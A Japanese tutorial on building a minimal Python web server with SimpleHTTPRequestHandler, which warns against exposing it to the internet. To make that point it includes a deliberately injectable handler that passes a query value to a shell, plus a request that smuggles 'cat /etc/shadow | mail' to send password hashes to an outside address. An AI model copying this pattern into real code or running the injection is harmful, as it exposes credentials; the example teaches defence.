最小構成
たったこれだけで、簡易のWebサーバーを立てることができます。
SimpleHTTPRequestHandlerを使用しています。
import http.server
import socketserver
LISTEN_PORT = 8080
class ServerHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b"<h1>It works!</h1>")
if __name__ == "__main__":
HOST, PORT = '', LISTEN_PORT
with socketserver.TCPServer((HOST, PORT), ServerHandler) as server:
server.serve_forever()
do_GET
のところにsubprocess等で好きなコマンドを書いてあげれば、HTTPリクエストをトリガーにして任意の処理を実行できます。
Dockerで簡易のコンテナ間通信を実装するのにも使えそうですね。
注意点
(!)そのままインターネットに公開しないこと
だいたい察しがつくとは思いますが、上記のように作ったサーバーをインターネットに公開してはいけません。
SimpleHTTPRequestHandlerのソースコードにもコメントで以下のように記載されています。
SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL -- it may execute arbitrary Python code or external programs.
この簡易サーバーは場合によっては任意のPythonコードやプログラムを実行できてしまうため、外部に公開するのは非常に危険です。
LAN内やサーバー内部での通信に使うようにしましょう。
任意のコマンドを実行できる例
以下のように、送られてきたリクエストの中身をログに書いていくプログラムを作ったとしましょう。
例えばhttp://localhost:8080?msg=hello
と送るとecho hello >> /somedir/message.log
が実行され、ログにhelloと書き込まれます。
import urllib.parse as urlparse
#省略(上記web.pyと同じ)
def do_GET(self):
parsedurl = urlparse.urlparse(url)
message = urlparse.parse_qs(parsedurl.query)['msg']
command = '/bin/echo ' + message + ' >> /somedir/message.log'
subprocess.call(command, shell=True)
#省略(上記web.pyと同じ)
このサーバーを動かして、以下のようなリクエストを送ってみましょう。
$ wget "http://localhost:8080?msg=foobar%3Bcat%20%2Fetc%2Fshadow%20%7C%20mail%20someone%40somedomain.com"
echo foobar; cat /etc/shadow | mail someonr@somedomain.com >> /somedir/message.log
が実行され、パスワードハッシュが外部に公開されてしまいます。
プログラムを工夫すれば安全なサーバーにできると思いますが、外部に公開する用途ならあれこれ考えるよりもおとなしくnginxやApacheを使った方が安全でしょう。